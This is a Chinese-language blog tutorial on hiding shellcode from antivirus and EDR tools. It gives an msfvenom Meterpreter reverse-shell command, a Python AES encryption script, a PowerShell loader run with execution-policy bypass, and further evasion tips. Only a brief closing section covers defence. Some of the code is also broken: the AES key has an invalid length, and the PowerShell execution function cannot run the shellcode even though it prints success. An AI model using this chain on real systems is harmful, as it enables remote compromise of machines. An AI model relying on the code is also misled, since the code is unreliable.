<pre><code>## 0x01 从防御视角看加密免杀

黑客示意图

在一次蓝队演练中,我的任务是分析某未知恶意样本的行为。虽然EDR和杀软都标记该样本“无威胁”,但通过手动检查内存,我发现它在加载后会动态解密一段Shellcode并直接执行,完全绕过了静态和动态检测。结合其流量分析,我确认它使用了高度定制化的加密机制,避免了流量和文件特征暴露。

这让我反思:如果我是攻击者,我该如何武器化加密Shellcode,去规避检测?

今天的目标就是复现并深入分析这个思路。我会展示如何通过 Python 加密一段恶意Shellcode,并用 PowerShell 在目标环境中解密加载,实现免杀效果。写这篇文章不是为了鼓励攻击,而是帮助大家理解攻击者的思路,强化防御能力。

---

0x02 免杀核心:破解EDR的检测链

当我们谈到免杀,核心问题是:检测工具到底是怎么识别恶意代码的?

EDR(终端检测响应)和杀软的检测手段通常包括以下几种:

  1. 静态分析:扫描文件中的恶意特征,比如标准Shellcode的固定模式。
  2. 行为分析:捕获恶意行为,比如创建远程线程、调用 VirtualAlloc 等。
  3. 内存分析:监控内存中可疑的代码执行。
  4. 流量分析:识别C2通信的特征。

为了绕过这些检测,我们需要:

  • 加密原始Payload,让静态分析无从下手。
  • 动态解密后直接执行,避免行为分析发现异常。
  • 内存级伪装,让Shellcode看起来像正常数据。
  • 流量混淆,伪装成合法协议。

以下章节,我会从实际开发出发,构建一条完整的攻击链,从加密Shellcode到目标机器执行,同时分享应对防御的技巧。

---

0x03 工具链准备:搭建你的攻击实验室

环境配置

为了复现攻击场景,我们需要一个简单的实验室:

  • 攻击者机器:Kali Linux,安装 Python3msfvenom
  • 目标机器:Windows10 (禁用杀软),安装 PowerShell 5.0
  • 调试工具:x64dbg(调试Shellcode加载)。

生成基础Shellcode

我们先用 msfvenom 生成一段基础的Meterpreter反弹Shellcode,监听端口为 4444:</code></pre>bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shellcode.bin <pre><code>这段 shellcode.bin 就是我们加密的原始Payload。

&gt; 注意:千万不要直接用这段代码执行测试,它目前会被杀软秒杀。接下来的重点是如何加密和伪装它。

---

0x04 Payload加密的艺术:Python实现

要让Shellcode绕过EDR检测,我们可以用自定义加密算法对其进行加密。这里我们使用AES加密,因为它具有较强的抗分析能力。

加密代码

以下是用于加密Shellcode的Python脚本:</code></pre>python from Crypto.Cipher import AES import base64

黑客示意图

加密密钥:这里为了演示简单使用了16字节固定密钥

KEY = b'mysecretkey123456'

def pad(data):

AES加密需要块对齐,填充到16字节

return data + (16 - len(data) % 16) * b'\x00'

def encrypt_shellcode(shellcode_path, output_path):

读取原始Shellcode

with open(shellcode_path, 'rb') as f: shellcode = f.read()

填充并加密

cipher = AES.new(KEY, AES.MODE_ECB) encrypted_shellcode = cipher.encrypt(pad(shellcode))

Base64编码便于传输

encrypted_shellcode_b64 = base64.b64encode(encrypted_shellcode)

保存加密结果

with open(output_path, 'wb') as f: f.write(encrypted_shellcode_b64)

print(f"[+] Encrypted shellcode saved to: {output_path}")

使用方法

encrypt_shellcode('shellcode.bin', 'encrypted_shellcode.txt') <pre><code>

加密结果

经过加密后,原始Shellcode不再是可执行的机器码,而是一段Base64编码的加密数据。这样能有效躲避静态分析。

---

0x05 解密与执行:目标环境的加载策略

接下来,我们需要在目标环境中解密并执行这个加密的Shellcode。这里我选择使用PowerShell,因为它自带强大的内存加载功能。

解密加载代码

以下是PowerShell代码,用于解密并执行Shellcode:</code></pre>powershell

AES解密的密钥(需与加密端保持一致)

$KEY = [System.Text.Encoding]::UTF8.GetBytes("mysecretkey123456")

解密函数

function Decrypt-Shellcode { param ( [string]$EncryptedFile )

读取加密的Shellcode

$EncryptedData = Get-Content $EncryptedFile $EncryptedBytes = [Convert]::FromBase64String($EncryptedData)

黑客示意图

初始化AES解密器

$AES = New-Object System.Security.Cryptography.AesManaged $AES.Key = $KEY $AES.Mode = [System.Security.Cryptography.CipherMode]::ECB $Decryptor = $AES.CreateDecryptor()

解密Shellcode

$DecryptedBytes = $Decryptor.TransformFinalBlock($EncryptedBytes, 0, $EncryptedBytes.Length) return $DecryptedBytes }

执行Shellcode

function Execute-Shellcode { param ( [byte[]]$Shellcode )

分配内存并复制Shellcode

$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( [System.IntPtr]::Size -eq 4 ? [System.IntPtr]::Zero : [System.UInt64]::Zero, [type]@([System.IntPtr],[System.IntPtr],[uint32],[uint32]) )

$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Shellcode.Length) [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Buffer, $Shellcode.Length)

执行Shellcode

$Thread = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0) [System.Runtime.InteropServices.Marshal]::WriteIntPtr($Thread, $Buffer) Write-Host "[+] Shellcode executed!" }

主流程

$EncodedFile = "encrypted_shellcode.txt" $DecryptedShellcode = Decrypt-Shellcode -EncryptedFile $EncodedFile Execute-Shellcode -Shellcode $DecryptedShellcode <pre><code>

配置与执行

  1. encrypted_shellcode.txt 传到目标机。
  2. 将上述PowerShell代码保存为 loader.ps1
  3. 在目标机上通过管理员权限运行:
  4. `powershell powershell -ExecutionPolicy Bypass -File loader.ps1 `

成功后,目标机会建立一个反弹连接,攻击者可以通过Metasploit控制。

---

0x06 免杀对抗:EDR绕过的细节优化

在真实场景中,简单的AES加密可能无法完全骗过先进的EDR。以下是进一步改进的方法:

  1. 动态密钥生成:每次生成不同的加密密钥,通过网络通信动态分发密钥。
  2. 流量混淆:将加密后的Shellcode伪装成合法数据包,比如图片或JSON。
  3. 内存保护:在解密后立即清除内存中的明文Shellcode,防止EDR检测到。

---

0x07 提升防御:如何识破这一伎俩

为了防御这样的攻击,蓝队可以采取以下措施:

  • 强化内存扫描:检测动态解密后的Shellcode特征。
  • 监控PowerShell活动:记录敏感函数调用和异常行为。
  • 流量分析:对网络中可疑的Base64数据进行分析。
  • 沙盒检测:通过行为分析捕捉Shellcode的执行路径。

---

黑客示意图

0x08 总结与反思

Shellcode加密免杀是攻击者的常用手段,但并非无懈可击。通过本次复现,我更深刻地认识到:

  • 加密只是延缓检测,攻防的博弈永无止境。
  • 防御者需要从行为特征和流量中找到破绽,而不是单纯依赖工具。

希望这篇文章能帮助你更好地理解攻击者的视角,同时强化自己的防御能力!</code></pre>